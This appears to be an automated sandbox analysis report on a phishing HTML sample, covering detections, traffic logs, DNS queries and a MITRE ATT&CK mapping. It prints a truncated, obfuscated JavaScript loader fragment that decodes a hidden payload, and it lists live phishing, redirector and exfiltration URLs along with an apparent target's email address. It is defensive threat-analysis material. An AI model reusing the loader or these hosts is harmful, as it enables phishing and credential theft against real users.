Edit tour

Windows Analysis Report
BAD.html

Overview

General Information

Sample name:	BAD.html
Analysis ID:	1619381
MD5:	cab9df453aa8a8f9db844551f09d6c34
SHA1:	2baff25bbbfaeaaa0165c69b8240913397a140f4
SHA256:	c6d1d3f28a01b46da5d476bee7e9a514c3f121acffa65c2dccb25b97c9776865
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

Detected non-DNS traffic on DNS port

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\BAD.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1252 --field-trial-handle=1952,i,6296554901105724967,14695421156858510046,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BAD.html

Avira: detected

Antivirus detection for URL or domain

Source: https://gbrqqq.v-bnhatn.ru/bhanchod@jczwpfnk	Avira URL Cloud: Label: phishing
Source: https://ohhellopreston.com/.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.2.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/BAD.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. The use of obfuscated URLs and the redirection to an untrusted domain further increase the risk. While the script's intent is not entirely clear, the combination of these factors suggests a high likelihood of malicious activity.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmaso... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `eval` and the decoding of encoded strings suggest the script is attempting to execute remote or malicious code. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of potential data exfiltration. Overall, the combination of these behaviors indicates a high-risk script that should be further investigated and blocked from execution.
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmaso... This script demonstrates high-risk behavior, including dynamic code execution through the use of the `eval` function. The obfuscated code and data exfiltration to an external domain are also highly suspicious indicators of malicious intent. This script should be considered a high-risk threat and should not be executed.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmaso... This script demonstrates high-risk behavior, including dynamic code execution via the `eval` function and potential data exfiltration. The use of obfuscated code and multiple fallback domains further increases the risk. This script should be considered highly suspicious and potentially malicious.

Detected javascript redirector / loader

Source: BAD.html

HTTP Parser: Low number of body elements: 0

Source: https://ohhellopreston.com/.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU

HTTP Parser: var tuatcspxklgtudtj = document.createelement("script");tuatcspxklgtudtj.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(tuatcspxklgtudtj);tuatcspxklgtudtj.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoic3vzduroq3lyuvzqk3hnclvqd0ryvtzcl1hjmzu2uzfwsuhuwkhyelrfv2twelo5tk5pcxdwvuj3njlknhbknuhub1wvrg1ptho5dhy2r1bvswhpuveyrkhccmhuannnczjqwgloew51dxnwrfwvcxjpalniuwzranrkrehzvnntum9uwtjscxjzvtjmqzmwunptzevntm03zjb3xc9dtve5snlxy2s1zk00ajawewy0ouvcxc9wt2pqnmnpy25wevzznddpzg5ibkjiqvdwams5uuixykgxclhicwjcrlormgvha3m1rvhnm0eykzjmwg43z1fcl2jfrvjzs3drvjdvchbmk0oxbgz0zkt5mk4yadv1shbjthlitulcl0tlzfztn3vzukc2aurjv1dywuptthjfmnbjcm9nnnnsefvurmzcs2s2tgjtm3excdblwwlnrmtaamd0v05tvzf5s25tz0fyrefsu043v1vcl0zooetyvytkdlarughcl1hymg9wtgftthdxow4xtgz1wctcqtngbmnhslj2zu84yti5cnzwvxh1zctts3k5wxr2wwf5tk1fv2y4otaxq3zyc09jvem4akrcl3v6agx4etriddh2tlfydu45rytfouuyue5lau5qc1wvcgtrrmttu2fywerezhrru2x4uhvvakzyotj2muv0whfdden0cvzqthbacmdznepbmunssxprahzhdx...

Source: BAD.html	HTTP Parser: No favicon
Source: https://xq.intranchmar.ru/aN3ZJ/#workouts	HTTP Parser: No favicon

Source: global traffic	TCP traffic: 192.168.2.16:49713 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:65090 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 103.83.194.5 103.83.194.5
Source: Joe Sandbox View	IP Address: 103.83.194.5 103.83.194.5
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU HTTP/1.1Host: ohhellopreston.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU HTTP/1.1Host: ohhellopreston.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aN3ZJ/ HTTP/1.1Host: xq.intranchmar.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/0e3e6804b971/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/0e3e6804b971/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=kgyvJTpFq.kLDsNdLUQ.vQ5zqanLt54ImsMqKquhHsk-1739994204-1.0.1.1-UaDcj.3QXYdO.gMHveMEJZp4zWirUhDeT4bmQ9RXyXWdS756ksQN1Vs3eILS6SqDUV0Yx52bwlml2vN5cvj3oA
Source: global traffic	HTTP traffic detected: GET /bhanchod@jczwpfnk HTTP/1.1Host: gbrqqq.v-bnhatn.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://xq.intranchmar.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xq.intranchmar.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bhanchod@jczwpfnk HTTP/1.1Host: gbrqqq.v-bnhatn.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ohhellopreston.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: xq.intranchmar.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: gbrqqq.v-bnhatn.ru
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 200.163.202.172.in-addr.arpa

Source: chromecache_79.2.dr, chromecache_72.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlSHYjedg.wo
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlWHYg.woff2
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlYHYjedg.wo
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlZHYjedg.wo
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlbHYjedg.wo

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65280
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: classification engine

Classification label: mal72.phis.evad.winHTML@15/33@34/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\BAD.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1252 --field-trial-handle=1952,i,6296554901105724967,14695421156858510046,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1252 --field-trial-handle=1952,i,6296554901105724967,14695421156858510046,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmasonry.com

HTTP Parser: https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmasonry.com

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
